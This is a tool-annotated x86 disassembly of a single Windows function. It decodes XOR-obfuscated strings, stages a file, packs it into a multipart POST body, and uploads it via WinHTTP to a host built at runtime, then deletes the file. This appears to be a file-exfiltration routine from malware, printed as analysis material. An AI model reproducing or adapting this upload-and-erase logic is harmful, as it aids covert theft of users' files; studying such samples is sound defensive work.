Function at 0x430780
Capabilities:
Delete file
Encode data using xor
Get file size
Initialize winhttp library
Prepare http request
Read file on windows
Receive http response
Write file on windows

Disassembly:
mov eax, 0x4684bd
call fcn.004656a0
sub esp, 0x6d8
movaps xmm0, xmmword [0x47d4e0]
movups xmmword [ebp - 0x126], xmm0
push ebx
movaps xmm0, xmmword [0x47d530]
xor ebx, ebx
movups xmmword [ebp - 0x116], xmm0
push esi
movaps xmm0, xmmword [0x47d6f0]
mov esi, edx
movups xmmword [ebp - 0x106], xmm0
mov edx, ebx
mov dword [ebp - 0x28], ecx
movaps xmm0, xmmword [0x47d540]
push edi
movups xmmword [ebp - 0xf6], xmm0
mov dword [ebp - 0xe6], 0x8fa9ef93
mov dword [ebp - 0xe2], 0xe888a8eb
mov word [ebp - 0xde], 0xbf
mov cl, byte [ebp - 0x126]
not cl
xor byte [ebp + edx - 0x125], cl
inc edx
cmp edx, 0x48
jb 0x4307f1
movaps xmm0, xmmword [0x47d3a0]
mov edx, ebx
movups xmmword [ebp - 0xc4], xmm0
mov byte [ebp - 0xdd], bl
movaps xmm0, xmmword [0x47d750]
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa4], 0xececa0
mov cl, byte [ebp - 0xc4]
not cl
xor byte [ebp + edx - 0xc3], cl
inc edx
cmp edx, 0x22
jb 0x430834
movaps xmm0, xmmword [0x47d5d0]
mov edx, ebx
movups xmmword [ebp - 0x9e], xmm0
mov byte [ebp - 0xa1], bl
movaps xmm0, xmmword [0x47d4c0]
movups xmmword [ebp - 0x8e], xmm0
mov dword [ebp - 0x5e], 0xf3bda6fc
movaps xmm0, xmmword [0x47d720]
movups xmmword [ebp - 0x7e], xmm0
mov dword [ebp - 0x5a], 0xa0f8f0fc
movaps xmm0, xmmword [0x47d6d0]
movups xmmword [ebp - 0x6e], xmm0
mov word [ebp - 0x56], 0xbf
mov cl, byte [ebp - 0x9e]
not cl
xor byte [ebp + edx - 0x9d], cl
inc edx
cmp edx, 0x48
jb 0x430897
mov edx, esi
mov byte [ebp - 0x55], bl
lea ecx, [ebp - 0x9d]
call fcn.004324c4
mov edx, str.___filename_
mov ecx, eax
call fcn.004324c4
mov edx, esi
mov ecx, eax
call fcn.004324c4
movaps xmm0, xmmword [0x47d4f0]
mov esi, eax
movups xmmword [ebp - 0x87], xmm0
mov edx, ebx
mov word [ebp - 0x57], 0x9295
movaps xmm0, xmmword [0x47d760]
movups xmmword [ebp - 0x77], xmm0
mov byte [ebp - 0x55], bl
movaps xmm0, xmmword [0x47d3d0]
movups xmmword [ebp - 0x67], xmm0
mov cl, byte [ebp - 0x87]
not cl
xor byte [ebp + edx - 0x86], cl
inc edx
cmp edx, 0x31
jb 0x430902
lea edx, [ebp - 0x86]
mov byte [ebp - 0x55], bl
mov ecx, esi
call fcn.004324c4
mov dword [ebp - 0x24], eax
mov dword [ebp - 0xcc], ebx
mov dword [ebp - 0xc8], 0xf
mov byte [ebp - 0xdc], bl
mov dword [ebp - 4], ebx
mov cl, 0x65
mov dword [ebp - 0x18], ebx
mov edx, ebx
mov dword [ebp - 0x1e], 0xf3e0b465
mov word [ebp - 0x1a], 0xea
not cl
xor byte [ebp + edx - 0x1d], cl
inc edx
cmp edx, 4
jae 0x430968
mov cl, byte [ebp - 0x1e]
jmp 0x430957
push 0xb
pop edx
lea ecx, [ebp - 0x1d4]
mov byte [ebp - 0x19], bl
call fcn.004328ec
xor ecx, ecx
inc ecx
mov byte [ebp - 4], cl
cmp dword [eax + 0x14], 0x10
jb 0x430987
mov eax, dword [eax]
lea edx, [ebp - 0x1d]
mov ecx, eax
call fcn.004324c4
mov esi, eax
call fcn.0043295d
mov edx, esi
mov ecx, eax
call fcn.004324c4
mov edi, eax
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x1d4]
mov dword [ebp - 0x38], edi
call fcn.00412665
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov esi, dword [0x48b988]
test esi, esi
jne 0x4309d2
mov dword [ebp - 0x10], ebx
mov eax, 0x10000
mov dword [ebp - 0x14], ebx
jmp 0x430a19
cmp dword [esi], 2
je 0x4309ed
mov ecx, dword [ebp - 0x12c]
mov eax, 0x80000
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0x130]
jmp 0x430a16
mov esi, dword [esi + 4]
cmp byte [esi + 0x2c], 0
jne 0x4309fd
mov ecx, esi
call fcn.0043b5c9
mov eax, dword [esi + 0x18]
xor edx, edx
mov ecx, dword [esi + 0x20]
test ecx, ecx
mov dword [ebp - 0x14], eax
mov eax, 0x20000
mov byte [esi + 0x2c], 1
cmovne eax, edx
mov dword [ebp - 0x10], ecx
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x48b984], eax
call edi
push ebx
mov esi, eax
lea eax, [ebp - 0x134]
push eax
push dword [ebp - 0x14]
push dword [ebp - 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push dword [ebp - 0x38]
call edi
mov dword [ebp - 0x34], eax
test eax, eax
je 0x430ef6
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x2c], eax
lea ecx, [eax + 0x800]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push dword [0x48b9a4]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, eax
mov dword [ebp - 0x14], ebx
call edi
mov esi, eax
lea ecx, [esi + 1]
push ecx
push dword [0x48b9a4]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpynA]
call ebx
mov eax, dword [ebp - 0x14]
push dword [ebp - 0x24]
add eax, esi
mov dword [ebp - 0x10], eax
call edi
mov esi, eax
lea ecx, [esi + 1]
push ecx
push dword [ebp - 0x24]
mov ecx, dword [ebp - 0x10]
push ecx
call ebx
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 0x3c]
push 0
push ecx
push dword [ebp - 0x2c]
add eax, esi
push eax
push dword [ebp - 0x34]
mov dword [ebp - 0x10], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x3c]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0xc3]
push eax
call edi
mov edi, dword [ebp - 0x10]
mov esi, eax
lea eax, [ebp - 0xc3]
lea ecx, [esi + 1]
push ecx
push eax
push edi
call ebx
xor ebx, ebx
add edi, esi
sub edi, dword [ebp - 0x14]
push ebx
push ebx
push ebx
push ebx
push ebx
mov dword [ebp - 0x10], edi
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpSetOption]
mov edi, eax
push 4
lea eax, [ebp - 0x30]
mov dword [ebp - 0x2c], edi
push eax
push 6
push edi
mov dword [ebp - 0x30], 0xf4240
call esi
push 4
lea eax, [ebp - 0x30]
push eax
push 5
push edi
call esi
lea eax, [ebp - 0x6e4]
push eax
lea eax, [ebp - 0x2e4]
push eax
lea eax, [ebp - 0x1bc]
push eax
push str.__:_:_________n_
push dword [ebp - 0x28]
call fcn.0043075b
lea eax, [ebp - 0x1bc]
push str.https
push eax
call fcn.00443000
add esp, 0x1c
movzx ecx, bl
test eax, eax
push 1
pop eax
cmove ecx, eax
mov dword [ebp - 0x28], ecx
test edi, edi
je 0x430ecc
lea eax, [ebp - 0x2e4]
push eax
test cl, cl
je 0x430c0b
lea ecx, [ebp - 0x150]
mov dword [ebp - 0x140], ebx
mov dword [ebp - 0x13c], 0xf
mov byte [ebp - 0x150], bl
call fcn.004127d6
lea edx, [ebp - 0x150]
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x1ec]
call fcn.0043595a
cmp dword [eax + 0x14], 8
jb 0x430be5
mov eax, dword [eax]
push ebx
push 0x1bb
push eax
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov esi, eax
lea ecx, [ebp - 0x1ec]
mov dword [ebp - 0x24], esi
call fcn.00412448
lea ecx, [ebp - 0x150]
jmp 0x430c6a
lea ecx, [ebp - 0x168]
mov dword [ebp - 0x158], ebx
mov dword [ebp - 0x154], 0xf
mov byte [ebp - 0x168], bl
call fcn.004127d6
lea edx, [ebp - 0x168]
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x204]
call fcn.0043595a
cmp dword [eax + 0x14], 8
jb 0x430c49
mov eax, dword [eax]
push ebx
push 0x50
push eax
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
lea ecx, [ebp - 0x204]
mov dword [ebp - 0x24], eax
mov esi, eax
call fcn.00412448
lea ecx, [ebp - 0x168]
mov byte [ebp - 4], bl
call fcn.00412665
test esi, esi
je 0x430ec5
cmp byte [ebp - 0x28], 0
lea eax, [ebp - 0x6e4]
push eax
je 0x430cef
lea ecx, [ebp - 0x180]
mov dword [ebp - 0x170], ebx
mov dword [ebp - 0x16c], 0xf
mov byte [ebp - 0x180], bl
call fcn.004127d6
lea edx, [ebp - 0x180]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x21c]
call fcn.0043595a
cmp dword [eax + 0x14], 8
jb 0x430cc5
mov eax, dword [eax]
push 0x800100
push ebx
push ebx
push ebx
push eax
push str.POST
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
lea ecx, [ebp - 0x21c]
mov edi, eax
call fcn.00412448
lea ecx, [ebp - 0x180]
jmp 0x430d55
lea ecx, [ebp - 0x198]
mov dword [ebp - 0x188], ebx
mov dword [ebp - 0x184], 0xf
mov byte [ebp - 0x198], bl
call fcn.004127d6
lea edx, [ebp - 0x198]
mov byte [ebp - 4], 5
lea ecx, [ebp - 0xb8]
call fcn.0043595a
cmp dword [eax + 0x14], 8
jb 0x430d2d
mov eax, dword [eax]
push 0x100
push ebx
push ebx
push ebx
push eax
push str.POST
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
lea ecx, [ebp - 0xb8]
mov edi, eax
call fcn.00412448
lea ecx, [ebp - 0x198]
mov byte [ebp - 4], bl
call fcn.00412665
test edi, edi
je 0x430ebb
lea eax, [ebp - 0x125]
mov dword [ebp - 0x44], ebx
push eax
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], bl
call fcn.004127d6
lea edx, [ebp - 0x54]
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x1b0]
call fcn.0043595a
cmp dword [eax + 0x14], 8
jb 0x430d9b
mov eax, dword [eax]
mov ecx, dword [ebp - 0x10]
push ebx
push ecx
push ecx
mov ecx, dword [ebp - 0x14]
push ecx
push 0xffffffffffffffff
push eax
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
lea ecx, [ebp - 0x1b0]
mov esi, eax
call fcn.00412448
lea ecx, [ebp - 0x54]
mov byte [ebp - 4], bl
call fcn.00412665
test esi, esi
je 0x430f22
push ebx
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x430f1e
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], ebx
push eax
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
je 0x430f17
mov eax, dword [ebp - 0x18]
inc eax
push eax
call fcn.0043da0b
mov esi, eax
pop ecx
test esi, esi
je 0x430f12
mov ecx, dword [ebp - 0x18]
inc ecx
push ecx
push ebx
push esi
call fcn.00440770
add esp, 0xc
lea eax, [ebp - 0x138]
push eax
push dword [ebp - 0x18]
push esi
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x430ea7
push esi
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], bl
call fcn.004127d6
mov byte [ebp - 4], 7
lea eax, [ebp - 0xdc]
cmp dword [ebp - 0xc8], 0x10
push dword [ebp - 0xcc]
cmovae eax, dword [ebp - 0xdc]
push eax
push ecx
lea ecx, [ebp - 0x54]
call fcn.00419ca8
push eax
lea ecx, [ebp - 0x1b0]
call fcn.00411d10
mov byte [ebp - 0x28], bl
lea eax, [ebp - 0x1b0]
push dword [ebp - 0x28]
lea ecx, [ebp - 0xdc]
push eax
call fcn.00412943
lea ecx, [ebp - 0x1b0]
call fcn.00412665
lea ecx, [ebp - 0x54]
mov byte [ebp - 4], bl
call fcn.00412665
push esi
call fcn.0043d636
cmp dword [ebp - 0x18], 0
pop ecx
ja 0x430ddf
mov esi, dword [ebp - 0x24]
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov edi, dword [ebp - 0x2c]
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
push dword [ebp - 0x14]
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
lea ecx, [ebp - 0xdc]
call fcn.00412665
mov ecx, dword [ebp - 0xc]
mov eax, ebx
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
mov dword [ebp - 0x18], ebx
jmp 0x430eb8
xor eax, eax
lea ebx, [eax + 1]
jmp 0x430ef6
push 2
jmp 0x430f24
push 3
pop ebx
jmp 0x430ef6